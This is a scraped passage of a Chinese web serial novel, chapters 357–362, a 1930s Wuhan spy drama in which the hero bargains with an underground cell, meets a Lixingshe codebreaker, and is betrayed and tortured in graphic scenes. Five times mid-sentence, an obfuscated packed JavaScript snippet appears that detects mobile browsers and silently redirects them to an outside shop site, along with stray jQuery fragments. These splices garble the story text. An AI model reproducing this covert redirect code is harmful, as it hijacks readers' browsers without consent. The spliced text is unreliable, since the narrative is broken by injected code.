“你小点动静。”宋小曼无奈地说道。 李二狗依然保持着微笑,他冷哼一声:“我就是故意的,这个黄一博应该喜欢你。” 宋小曼知道黄一博一直喜欢她,但她对他并没有感觉,不过李二狗能一眼看出他喜欢自己,还是令她感到十分惊讶。 “你是怎么看出来的?” 李二狗笑道:“我会看相,这个人面带煞气,得不到的宁肯毁灭,你一定要小心提防他。” 宋小曼难以置信地问道:“你说得到底是真的还是假的?这可不能随便开玩笑啊!” “别管真的假的,你一定要离他远一点。” 其实李二狗并不会看相,但黄一博给他的第一印象并不好,此人鼻梁骨和眉骨都十分突出,定是一个心胸狭隘,嫉妒心强且报复心很重的人。 “我听你的。” 宋小曼把头靠在李二狗的胸口,准备和他做最后的告别。 李二狗心中早已有了一个主意,所以他并没有感到十分伤感。 “二狗,保重。” “保重,小曼。” 两人深情拥吻,一直到楼下的黄一博大声催促,宋小曼才不得不离开。 宋小曼离开之后,李二狗穿好衣服,悄悄跟了出去。 武汉地下党的秘密联络站离宋小曼的住处并不远,宋小曼和黄一博很快便进入了一个门口挂着“雅苑书店”门牌的书店。 李二狗在离书店不远处的一个茶摊坐了下来。 他掏出一个铜板要了一碗茶,暗中观察着书店里面的动静和周围的情况。 第357章 你到底是什么人? 宋小曼和黄一博通过书店柜台后面的门进入了里屋,一个店员在门口擦着玻璃门,很显然是在警戒。 李二狗端起茶碗喝了一口,然后直接走向书店。 门口的店员看到李二狗进来,客气地说道:“先生,对不起,我们书店还没到营业时间。” 李二狗笑道:“我不买书,我找你们上级领导,麻烦你进去通传一声。” 店员明显一怔,手不自觉地摸向腰间。 “先生您找错地方了吧,我们这里是书店,没有什么上级领导。” 李二狗露出一个阳光般灿烂的笑容。 “同志,你不要紧张,我是宋小曼的表哥,咱们都是自己人。” 店员听到宋小曼的名字,才把手从腰后缩了回来。 “你稍等,我去里面通报一声。” 店员通过后门进入里屋。 “刘**,外面来了一个人,自称是宋小曼的表哥,说要见你。” 刘东听后震惊不已。 这里是**武汉工委的一个秘密联络站,竟然被一个陌生人轻易发现了,这件事情的性质非常严重。 “小曼同志,这到底是怎么回事?” 宋小曼听到是自己表哥,马上想到李二狗。 他怎么会找到这里来?! “刘**,请您相信我,我绝没有泄露任何消息给他。” “那你表哥的事怎么解释?他怎么会找到这里来?” 黄一博插话道:“小曼同志的这个表哥,今天早上我在她的家中见过,一看就不是善茬,小曼同志,你怎么可以把咱们秘密联络站的位置告诉他呢?你太容易相信人了。” 宋小曼急辩道:“刘**,我以党性向您保证,他绝不是坏人。” 刘东严肃地批评道:“小曼同志,你也是一名老同志了,怎么还这么幼稚?从事咱们地下工作最忌讳的就是感情用事,你到底和他是什么关系?” 宋小曼不知道该如何界定自己和李二狗的关系。 刘东继续说道:“你如果有什么隐瞒,可能会害了他,也会害了你,你一定要考虑清楚再说。” 宋小曼只能如实说道:“我在江东的时候,他是胡家大院的管家,他曾经救过我的命。” 宋小曼说得很含糊,但刘东已然明白了他们的关系。 男女之间就那点事,并没有什么奇怪的! 张雪健一直没有说话,这时他突然问道:“小曼同志,他是不是在法兰西餐厅的那个人?” 宋小曼点了点头,刘东气得猛拍了一下桌子。 “小曼同志,你让我说你什么好?你怎么能在同一个人身上接二连三的犯错误呢?你这既是对组织的不负责,也是对自己的不负责!” “刘**,我……” 刘东打断了宋小曼的说话。 “你不要再说了,你必须马上离开武汉,这个联络站也要马上转移。” 店员问道:“刘**,外边那个人怎么办?” 宋小曼知道组织纪律的严肃性,她几乎要哭出声来。 “刘**,请您相信我,他真得不是坏人,他不会做对不起我们的事。” 刘东作为这个秘密小组的最高负责人,他不可能拿同志们的生命安全来冒险。 “他是不是坏人,不能仅凭你的保证,你现在马上从后门离开武汉,剩下的事情交给我来处理。” 宋小曼拉住刘东的胳膊,哀求道:“刘**,请您相信我,他真得不是坏人,他不会做不利于我们的事,我以自己的性命担保。” “小曼同志,我命令你马上离开!” “我不走,刘**,他真得不是坏人!” 刘东叹息一声,命令道:“一博同志,你带她走,马上离开武汉。” 宋小曼还想说什么,刘东伸手制止了她,严肃地说道:“小曼同志,请你冷静一点,你放心,我自有判断,绝不会冤枉他!” 黄一博内心无比的畅快,他恨不得刘东能立刻毙了李二狗。 他面上却显得很平静,劝道:“小曼,咱们还是先离开吧,你在这里,刘**反而不好开展工作,我们要相信组织。” 张雪健作为宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208387|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 小曼的行动搭档,对宋小曼的为人十分了解。 但是她因为李二狗,接二连三的犯错误,并泄露组织秘密联络站的位置,这已经属于严重违纪,如果刘东真按组织纪律处分她,后果将非常严重。 现在让她走,其实是在保护她。 “小曼,你必须马上撤离,你放心,他如果真得没有问题,我们会妥善处理的。” 张雪健说完给了宋小曼一个眼神,凭借两人长期的合作,宋小曼立即明白他要传递的意思。 “刘**,我可以听从您的命令现在撤离,但请您相信我,他真得不是坏人!” “一博,带她走。”刘东命令道。 黄一博拉着宋小曼从后门离开了。 “小朱,你去把他带到这里来,注意不要让他看出异常。” 小朱点了点头,领命而去。 “雪健,你准备好。” 张雪健心领神会,掏出枪躲到门后。 李二狗刚进入房门,就被张雪健用枪顶在了腰上。 这一切都在李二狗的预料之中,他并不感到意外和恐惧。 他笑了笑,慢慢地举起双手,说道:“不要紧张,我身上没带武器。” 张雪健依然用枪顶着李二狗,刘东严厉地问道:“你到底是什么人?” 李二狗继续保持着微笑,宋小曼不在屋里,说明已经通过后门离开了。 她能离开,说明她已经把自己的身份告诉了这里的人。 李二狗本来就没有打算隐瞒自己的身份,他是一个光明磊落之人,何况自己的身份并不丢人。 “如果我没有猜错,你就是小曼的上级领导吧?” 刘东见李二狗被人用枪顶在腰上却一点也不慌乱,内心暗暗佩服他的淡定。 不可否认,大多数人并没有他的这种心理素质,就是自己也未必能达到这种境界。 “你猜得没错,我就是你要找的人。不过你还没有告诉我,你到底是什么人?” 李二狗微微一笑,朗声道:“鄙人是江东县仙人洞镇胡家大院管家李二狗。” 第358章 你是在和我们开玩笑吗 听到李二狗如此一本正经地介绍自己,刘东差点乐出声来。 一个乡下地主大院的管家介绍自己,颇有一省政府主席的风范。 刘东摆了摆手,张雪健便收起了顶在李二狗腰上的枪。 “李先生,请坐。” 李二狗依然保持着微笑,虽然他的内心在“扑通扑通”地狂跳。 被人用枪顶着腰,正常人不可能无动于衷。 “李先生,你是怎么知道我们这个地方的?” “呵呵,这很简单,我跟踪了宋小曼。” 宋小曼虽然是个女人,但也是一名资深的地下党员,没想到被人跟踪却毫无察觉,可见李二狗跟踪的能力远在宋小曼之上。 “你知道我们是做什么的?” “知道!” “谁告诉你的?” “我猜的。” 李二狗当然不会告诉他是宋小曼告诉自己的。 “猜的?呵呵,李先生能告诉我你是如何猜到的吗?” “这同样很简单,要刺杀力行社的人,除了你们地下党不会有其他人。” 刘东笑了笑,和力行社有仇的人又何止他们地下党,但李二狗的言论他又不好反驳。 “李先生,你找我什么事?” 李二狗突然变得严肃起来。 “领导,我知道你们还要继续刺杀徐青霞,但她只是一名刚毕业的大学生,刺杀她是不是有点……” 李二狗欲言又止,他怕伤了刘东的面子,不利于接下来的谈判,可刘东却接话道:“有点卑鄙是吗?” 李二狗笑了笑,算是承认。 “你知道因为她的存在,对我们组织造成了多大的损失吗?你知道有多少我们的同志因为她而被****派残忍地杀害吗?” 李二狗辩解道:“她只是做好自己的本职工作而已,她主观上并没有要**。” “她不杀伯仁,伯仁却因她而死,如果你是我,你会如何处置这件事情?” 李二狗脱口而出:“你们可以把她争取过来,替你们做事。” 刘东有一种茅塞顿开的感觉。 现在他们最缺的就是电讯方面的人才,而徐青霞则是电讯方面的天才,她如果能加入地下党,足以顶得上三个整编师的威力。 不过很快他又冷静下来。 现在他们在大多数人眼中是**,徐青霞一名堂堂清华大学的毕业生,现在又在政府当中任职,又怎会心甘情愿地加入他们呢?这实在有些困难! “可让她加入谈何容易啊!” “如果你们暂时取消对她的刺杀行动,我倒可以为你们试一试。” “你有多大把握?” 其实李二狗心里也没底,但他不能眼睁睁地看着徐青霞**掉。 “我没有把握!” 刘东冷笑一声:“李先生,你是在和我开玩笑吗?” 李二狗依然保持着微笑。 “我虽然没有十足的把握让她答应马上加入你们,但至少我会想办法让她离开力行社,不再帮助力行社为虎作伥!” 对于这次刺杀行动,刘东也是不得已而为之,如果徐青霞能离开力行社,他肯定会放弃针对她的刺杀行动。 “李先生,我只能给你一个星期的时间。” 李二狗没想到刘东只给他一个星期的时间,一个星期只有短短的七天,他又能做些什么? 刘东见李二狗面露难色,又补充道:“李先生,我知道一个星期的时间对您来说的确有些困难,但您要知道,在这一个星期的时间里,可能会有很多我们的同志因为她而失去自己的生命。所以,我只能给您一个星期的时间。” 李二狗一拍桌子,信心十足地说道:“好,那就一个星期的时间。” “如果你有什么需要,随时来找我,我全力配合你。” 李二狗站起来,主动伸手握住刘东。 “领导,你们等着我的好消息吧。” 送走李二狗之后,张雪健问道:“刘**,咱们还撤离这个联络站吗?我怎么感觉这小子有些不靠谱?” 刘东此时也不能确定到底要不要撤离,但他隐约觉得李二狗的话值得他为之一博。 “老张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213147|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,这个联络站马上进入静默状态,启用备用联络站,你们所有人都撤离,我自己留下来。” “你留下来?绝对不行!刘**,你是我们的主心骨,还是让我留下来,你带着他们撤。” “老张,如果能把徐青霞争取过来,你知道对我们意味着什么吗?她简直就是宝贝啊,值得我来冒这个险!” “可……” “好了,老张,我已经决定了,你执行命令吧!” 李二狗离开雅苑书店之后,直接去了江汉路110号。 没想到江汉路110号竟是一家银行,难道自己被那个特务骗了? 李二狗不死心,他推门走进银行。 银行里面人来人往,根本不像一个**的办公地点。 李二狗这才意识到自己被骗了。 狗特务,**的狡猾! 正当李二狗准备离开的时候,一个熟悉的身影出现在前方。 那美丽清纯的样子正是徐青霞。 李二狗大喜过望,快步向她走去,徐青霞也第一时间看见了李二狗,她先是惊讶,继而用眼神暗示他不要过来。 李二狗停下脚步,看到她身后站着两名穿黑色中山装的青年男子,看穿着气质定是特务无疑。 徐青霞从最东侧的一个楼梯上了楼,想来力行社湖北站的办公地点应该在楼上。 想到这,李二狗便在楼梯口不远处的一张长椅上坐了下来,徐青霞肯定知道自己会在这里等她。 果不其然,大约过了二十分钟,徐青霞再次出现了。 看她不苟言笑的样子,李二狗便坐在原地没有动。 徐青霞果然没有理睬李二狗,而是直接走向银行门口。 李二狗跟着站起来跟了出去。 徐青霞出门后向左走了两个路口,然后进入一家咖啡馆。 李二狗走到咖啡馆门口之后,没有直接进去,而是蹲在地上假装系鞋带,暗中观察着自己身后,发现没有人跟踪,然后才走进咖啡馆。 他进入咖啡馆之后,环顾一周,并没有看到徐青霞的身影。 第359章 我要替父母报仇 这时一个打扮时髦的女服务员走了过来,她非常有礼貌地问道:“请问您是李二狗先生吗?” 李二狗上下打量着这个女服务员,虽然身材**,却是一脸稚嫩,很显然她不像是力行社的特务。 “你怎么知道我的名字?” 女服务员脸上保持着职业的微笑:“刚才有一位小姐上了二楼包厢,她告诉我,如果有一位叫李二狗的先生,就请他上二楼。” “我就是李二狗。” “那先生请您随我来。” 女服务员在前面引导,带着李二狗走向二楼。 李二狗跟在她身后,那浑圆饱满的屁股令李二狗忍不住咽了一口口水。 她把李二狗带到二楼一个包厢,徐青霞果然在里面。 服务员离开之后,刚关上门的瞬间,徐青霞便扑上来抱住李二狗,丝毫没有以前的矜持。 “二狗,你的伤怎么样了?这两天都担心死我了。” 李二狗轻轻地抚摸了一下她的脑袋,安慰道:“放心吧,我的伤已经好了,你得伤怎么样?” “我当时只是撞了一下脑袋,并没有什么大问题,现在已经没事了。” “没事就好,这几天我一直在担心你。” 两人一番相互关心之后,李二狗不仅没松手,反而把徐青霞抱得更紧了,徐青霞很是享受李二狗的洪荒伟力,她一脸温柔地把头贴在他的胸口上。 突然,她意识到不对劲,然后用力推开李二狗。 “你怎么知道我在这里上班的?是谁告诉你的?” 徐青霞的惊讶在李二狗的意料之中,他笑了笑,说道:“咱们坐下慢慢说。” “其实从那两个**刺杀你的时候我就对你的身份产生怀疑了。” 徐青霞被李二狗揭穿了身份,低着头,像一个做错了事的孩子。 “对不起,我并不是有意骗你的,我也是迫不得已。” “我并没有怪你,”李二狗把手按在徐青霞的手背上,“其实你并没有骗我,只是没有告诉我罢了。” 徐青霞睁着一双纯净无辜的大眼睛一脸认真地看着李二狗。 “这难道有什么区别吗?” “当然,区别很了。” “有什么区别?” “你如果有意编造一个假身份来掩饰你的**,这是骗我,而你只是没有告诉我,这不算欺骗。” 徐青霞莞尔一笑,轻轻地打了一下李二狗的手背。 “没想到你还挺会安慰人。” “嘿嘿,我只不过是实话实说罢了。” 徐青霞突然变得严肃起来。 “你还没有告诉我,你是怎么找到这里来的?” 李二狗玩笑道:“我是循着你的味道找来的。” “才不信你!你快告诉我。” 李二狗突然也变得严肃起来。 “青霞,刚才在银行里面,你不敢让我靠近你,是不是有什么顾虑?” 徐青霞被李二狗问得哑口无言。 如果让站里知道李二狗来银行找自己,不仅自己会受到惩处,李二狗更会受到牵连。 沉默了片刻,徐青霞才缓缓说道:“二狗,我不想连累你。” “其实从法兰西餐厅开始,咱俩就被连在一起了。” “你这是什么意思?我怎么没听懂?” “你知道吗?我在医院的时候,有一天夜里,有两个你们力行社的人来刺杀我,我差一点就丢掉了性命。” 徐青霞已经向站里极力说明李二狗并不知晓自己的**,可站里还是派人去刺杀李二狗,这令她感觉受到了极大的欺骗。 “对不起,二狗,是我连累了你,你还是赶紧离开武汉吧,这里太危险了。” “我并不怕危险,我只是担心你的安危。” “我的安危?” “你知道是什么人刺杀你吗?” “是武汉地下党。” “他们为什么要刺杀你?” “因为我破译了他们很多情报。” “他们不会善罢甘休的。” 徐青霞拍了拍李二狗的手背,安慰道:“放心吧,现在站里加强了对我的保护,我不会有事的。” “他们想杀你,会用尽一切办法,青霞,你还是离开力行社吧,那是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213148|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 特务机关,根本不适合你。” 徐青霞神情黯淡地说道:“二狗,你不懂,我要替我父母报仇,只有力行社可以帮我。” “为你父母报仇?你父母……” 徐青霞潸然泪下,哭得身体颤抖,李二狗走到她身边,轻轻地拍了拍她的肩膀。 徐青霞哭了一会儿,擦干眼泪,目光中充满了复仇的火花。 “是那群**滥杀无辜,残忍地杀害了我的父母,我一定要让他们血债血偿。” 李二狗倒吸一口凉气,如果徐青霞的父母真是地下党所杀,那就是不共戴天之仇,根本没有任何调和的余地。 李二狗虽然不太了解**党和它领导下的红军,但他了解宋小曼。 宋小曼愿意为之牺牲一切的组织怎么会滥杀无辜呢? 李二狗掏出手绢为徐青霞拭去眼角的泪水,安慰道:“青霞,你能告诉我到底是怎么一回事吗?” 徐青霞尚未从悲伤中舒缓过来,李二狗把咖啡递给她,她接过咖啡,轻轻抿了一口,情绪才有所缓解。 “我父母都是普通的生意人,他们都是被红军杀害的。” 李二狗记得徐青霞是北平人,北方根本就没有红军,怎么可能是红军杀害了她父母? “红军只在南方几个省有,叔叔婶子是在哪里被红军杀害的?” “在江西。就因为我帮助北平政府破译了几次他们的秘密电文,他们就杀害了我的父母,你说,这个仇我该不该报?” 李二狗不知道该说什么了,事情的复杂程度远远超出了他的想象。 徐青霞帮北平政府做事,红军却在江西杀害了她的父母,这件事实在是太过蹊跷。 “青霞,能和我详细的说说吗?” 徐青霞整理了一下自己的情绪,开始娓娓道来。 “去年,学校安排我们几个即将毕业的学生到北平市政府的电讯室实习,我利用所学的知识破译了几份地下党的情报,他们借此捣毁了北平地下党的多个秘密联络站。” 李二狗没有打断她的思路,静静地等待着她继续往下说。 第360章 李二狗被力行社逮捕 徐青霞擦了擦眼泪,继续说道:“北平力行社看中了我的能力,准备调我到他们那里工作,其实我并不想参与他们之间的打打杀杀,所以我毫不犹豫地拒绝了他们。实习结束之后,我就回到学校,毕业之后准备留校从事研究方面的工作。” “那你怎么又答应了他们?还不远千里来到武汉?” “因为我破译的情报给北平地下党造成了重大损失,所以他们就趁我父母去江西做生意的机会杀害了我父母。我要为他们报仇,所以才主动要求来到武汉,因为这里离他们所谓的根据地最近。” 听完徐青霞的复述,李二狗觉得逻辑上完全没有问题,但此事依然疑点重重。 徐青霞只是一名实习的大学生,她已经离开了实习单位,为何北平地下党还要通知远在几千里之外的红军杀害她的父母? 如果真的担心徐青霞危害北平地下党的安危,直接派人除掉徐青霞,岂不是更加妥当? 杀掉她的父母,就能阻止徐青霞吗? 李二狗虽然对地下党还不是十分了解,但此事实在是不符合逻辑,里面肯定有着不可告人的目的。 “叔叔叫什么名字,你能告诉我吗?” 徐青霞不明白李二狗为何要问她父亲的名字,但还是决定告诉他。 “我爸叫徐大山。” 李二狗点了点头,把徐大山这个名字记在心里。 “二狗,这是我住的地方的地址,很少有人知道,你可以随时来找我。现在我得回去了,你等我出去了之后再离开。” 徐青霞把一张纸条塞到李二狗手中,两人拥吻之后她便匆匆离开了。 十分钟之后,李二狗才离开咖啡馆,直接去了雅苑书店。 刘东见到李二狗显得非常惊讶,没想到他这么快又回来了。 “李先生,你怎么又回来了?” “领导,我有要紧事找你。” 刘东仔细观察了门外的情况之后才说道:“咱们进去说。” 两人进入里屋,刘东问道:“什么事这么着急?” “刚才我去见了徐青霞,她告诉我,是因为红军杀害了她父母,她才选择加入力行社,目的就是为了给她父母报仇。” “他父母是做什么的?”刘东问道。 “是做生意的。” “做生意的?我们红军是穷苦大众的队伍,是人民的子弟兵,不可能无缘无故地杀害做生意之人。” “我就是因为感到奇怪才特意赶来问问你,她父亲叫徐大山,北平人,据徐青霞描述,是在江西被红军杀害的。” “徐大山……” 刘东嘴里念叨着,他对这个名字完全没有印象。 “领导,我建议你马上通过上级组织联系一下北平地下党,让他们调查一下徐大山的情况。” “你的这个建议倒是很好,可调查需要时间,可你只有一个星期的时间……” “放心,我们约定好的一个星期的时间不变,我这边会继续努力。” “好,我马上去联系,有什么进展我会随时告诉你。” 李二狗刚要走,刘东又拉住他,说道:“为了咱们联络方便,这段时间你就暂时住在宋小曼住过的那个房子里。注意,敲门暗号是三长两短。” 李二狗很不喜欢“三长两短”这个暗号,但这时候不是计较这些的时候,他点了点头,便急匆匆地离开了。 李二狗回到宋小曼的住处,睹物思人,不知道宋小曼现在到了哪里。 正在这时,突然响起了敲门声,并不是“三长两短”! 李二狗心想,这里是宋小曼的房子,来人肯定是找宋小曼的,目前她已离开,完全没有开门的必要。 但来人很执着,敲了一次没人答复又敲了一次。 “你好,有人在吗?我是自来水公司的,来查一下水表。” 李二狗这才放松警惕,既然是查水表的,今天不给他开门,明天他肯定还会来。 你要一直不开,说不定哪天就把水给停掉了。 想到这,李二狗便打开了房门。 “不许动!” 一把**顶在了他的脑门上。 李二狗下意识地往后退,想要寻找机会逃脱,可后面接连又进来三个人。<b ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215600|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' r>四把**全部瞄准了李二狗,这次他就是有通天彻地的本领也逃脱不掉了。 李二狗硬着头皮问道:“你们干什么?” 其中一个留着山羊胡的男子冷笑道:“干什么?当然是来抓你的!” 李二狗心想,这里是宋小曼的房子,这些人不可能是来抓自己的。 “你们弄错了吧?为什么要抓我?” “哈哈,抓的就是你,怎么可能会弄错?带走!” 面对四个**的大汉,李二狗不敢轻举妄动,被他们戴上**押走了。 看着李二狗被力行社的人押上车带走,躲在不远处的黄一博露出了得意的笑容。 李二狗啊李二狗,你可千万别怨我,宋小曼是我喜欢的女人,谁惦记她老子就要除掉他! 原来是黄一博在送走了宋小曼之后,匿名向力行社举报李二狗是武汉地下党的高层领导,并提供了他的住址。 力行社湖北站的一处秘密地下室里,潮气混着铁锈味钻进鼻腔。 李二狗被一条铁链锁在刑架上,手腕和脚踝处的皮肤已经磨得血肉模糊。 “说!”一个穿着黑色中山装的特务猛地踹向刑架,铁链撞击的哐当声在狭小的空间里显得格外响亮,“你到底是不是‘渔夫’?武汉地下党的秘密联络站藏在什么地方?” 李二狗耷拉着脑袋,额前的乱发被血黏在脸上。 他昨天稀里糊涂地被力行社的特务抓到这里来,直到被扔进这铁牢,他才从特务的吼叫声里拼凑出真相。 原来力行社的特务把他当成了一个代号叫做“渔夫”的武汉地下党高层。 他虽然不是武汉地下党的高层“渔夫”,但他却知道武汉地下党的一处秘密联络站。 只要他现在交代出雅苑书店的地址,或许就可以保命。 但他这次被抓实在过于蹊跷,他是住在宋小曼的房子里,特务怎么会准确地找到那个地址来抓他? 如果他们是目的是抓宋小曼,但宋小曼也不是武汉地下党的高层“渔夫”。 这到底是怎么一回事?李二狗百思不得其解。 第361章 “过山龙” 李二狗本想说出徐青霞的名字来证明自己不是地下党,但他怕说出徐青霞不仅救不了自己,反而会连累她。 毕竟她只是一个刚入职的大学生,在力行社人微言轻,如果被有心之人扣上私通地下党的罪名,她将死无葬身之地。 “我都说了……”李二狗声音嘶哑,“我叫李二狗,江东县人,是胡家大院的管家,刚到武汉不久,你们真的抓错人了……” “还敢嘴硬!” 一个特务从刑具架上抄起一根浸了盐水的皮鞭,劈头盖脸地抽了下来。 皮鞭带着刺骨的疼痛抽打在他的背上,李二狗猛地绷紧了身子,冷汗瞬间浸透了本已破烂不堪的上衣。 他咬紧牙关没有吭声,血珠顺着后背的伤口渗出来,在上衣上洇出一朵朵暗红的花。 这已经是第三拨审问他的特务了。 从昨天到现在,皮鞭、烙铁、辣椒水轮番上阵,他的意识好几次都飘到了云端,却总能被更剧烈的疼痛拽回来。 他不是不怕疼,只是他知道一旦承认自己是地下党,等待他的只有死亡。 他记得小时候他爹李富贵教育过他,李家的人可以**,不能被吓死。 “看来普通法子治不了你。”特务狞笑着从墙角拖过一个铁桶,桶里泡着十几根锈迹斑斑的竹签,“听说地下党都是铁打的,只是不知道你扛不扛得住这‘十指穿心’?” 李二狗的瞳孔猛地收缩。 他小时候在村里见过被**逼债的人,手指被竹签扎过的模样,那疼能让人活生生疯掉。他挣扎着想要后退,铁链却死死拽着他的手腕,让他动弹不得。 就在特务抓起竹签的瞬间,地下室的铁门“吱呀”一声推开了。 一个穿着黑色旗袍的女人站在门口,雨水从她的高跟鞋尖滴落,在水泥地上积成一个小小的水洼。 她约莫二十五六岁的模样,头发梳得一丝不苟,嘴角噙着抹似笑非笑的笑容,嘴唇上涂抹的口红血淋淋的,红得渗人。 “老张,审得怎么样了?” 女人的声音不高,却带着一种不容置疑的压迫感。 被叫做老张的特务立刻放下竹签,恭恭敬敬地立正道:“报告王科长,这小子嘴硬得很,打了一天一夜,愣是没吐一个字。” 刚刚进来的这个女人就是力行社湖北站情报科科长王曼春,虽是一介女流,但心狠手辣的程度丝毫不比男人逊色。 她缓缓走向李二狗,高跟鞋踩在湿漉漉的地上,发出“嗒嗒”的声响,像敲在人心上的鼓点。她绕着刑架走了一圈,旗袍开叉处露出的小腿裹着肉色丝袜,与这满是血腥气的牢房格格不入。 “李二狗?”王曼春停在李二狗面前,“名字虽然粗俗,没想到骨头却这么硬,老张,看来你的手段还是太过温柔了。” 她转身对老张说道:“把他放下来,上‘过山龙’。” 老张脸色微变,劝道:“科长,这‘过山龙’太过厉害了,万一他……” “执行命令。”王曼春声音冰冷,“我要立刻知道他是不是‘渔夫’,更要知道地下党的秘密联络站到底在哪?” 两个特务立刻上前,解开李二狗身上的铁链。 他双腿一软,“噗通”一声跪在地上,膝盖磕在水泥地上,发出一声沉闷的响声。 特务拖着李二狗往牢房深处走,那里放着一个黑铁打造的刑具,形状像条扭曲的龙,铁身上布满了细小的尖刺。 “这‘过山龙’是新到的玩意儿。”王曼春翘着二郎腿坐在旁边的一把椅子上,端起特务递来的热茶,“铁管里会通热水,烫得人皮开肉绽,可偏又死不了。你要是现在招了,就能少受点罪。” 李二狗趴在冰冷的刑具上,后背的伤口刚碰到铁刺就疼得他龇牙咧嘴。 他知道自己不能认,一旦承认是地下党,交代了雅苑书店的位置,不仅自己活不成,宋小曼也会被牵连。 可这女人看起来比之前的特务狠得多,他真能扛过去吗? “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215601|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 最后问你一次。”王曼春呷了口茶,目光落在李二狗颤抖的肩膀上,“你到底是不是‘渔夫’?” 李二狗咬紧牙关,把脸埋在臂弯里,一声不吭。 王曼春放下茶杯,朝老张点了点头。 老张扳动开关,滚烫的热水瞬间涌入铁管。 李二狗只觉得后背像被扔进了一个大火炉,皮肉被烫得滋滋作响,剧痛顺着脊椎直往天灵盖冲。 他想挣扎,却被铁链牢牢地固定在刑具上,只能发出困兽般的嘶吼。 “你到底说不说?”王曼春的声音透过蒸汽传来,带着一种近乎残忍的平静。 李二狗的意识开始模糊,眼前闪过江东县的稻田,闪过梦瑶的笑脸,闪过于兰芝在他出门时的叮嘱。 他猛地咬住自己的胳膊,用疼痛保持着清醒,喉咙里挤出断断续续的话:“我……真的不是……” “继续。”王曼春面无表情地说道。 热水一波接一波地涌过铁管,李二狗的后背已经烫得血肉模糊,原本深色的上衣被血浸透,又被热水泡得发白。 他的嘶吼渐渐变成微弱的呻吟,身体像脱水的鱼一样抽搐着。 不知过了多久,王曼春才让老张关掉开关。 一个特务上前解开铁链,李二狗像摊烂泥似的摔在地上,后背的皮肤已经和刑具粘在了一起,一扯就是一片血肉。 王曼春走到他面前,蹲下身,用手帕擦了擦他脸上的血水。 “李二狗,你扛得过皮鞭,扛得过烙铁,扛得过‘过山龙’,实在是令人佩服,”她的声音突然压低,“我听说你在力行社有个相好是不是?” 李二狗的身体猛地一震。 他万万没想到,眼前这个狠毒的女人竟然已经知道他和徐青霞的关系。 他可以不在乎自己的死活,却不能让徐青霞卷进来。 王曼春从李二狗惊讶的表情里已经确认他和徐青霞的关系。 此刻她的笑容非常灿烂,不可否认她是一个很美艳的女人。 第362章 王科长,你长得真好看 王曼春突然伸出白皙水嫩的手轻轻地拍了拍李二狗的脸颊。 “她叫徐青霞对不对?我见过她,人长得挺水灵,要不要我现在让人把她接过来,让她看看你现在的样子?” 他李二狗艰难地抬起头,眼里布满血丝,死死盯着王曼春。 “你……你要敢动她……我做鬼也不会放过你……” “哦?哈哈……”王曼春哈哈大笑起来,“看来这才是你的软肋。”她站起身,理了理旗袍上的褶皱,“我给你一晚上的时间考虑,明天早上,要么你说出武汉地下党秘密联络站的位置,要么……哈哈,徐青霞有个地下党的相好,你知道会是什么后果吗?” 李二狗用尽全力力气嘶吼道:“她什么都不知道,你不要把她牵扯进来!” 王曼春又是一阵丧心病狂地哈哈大笑,她仿佛已经找到让李二狗招供的方法。 她转身走向铁门,高跟鞋的“嗒嗒”声渐渐远去。 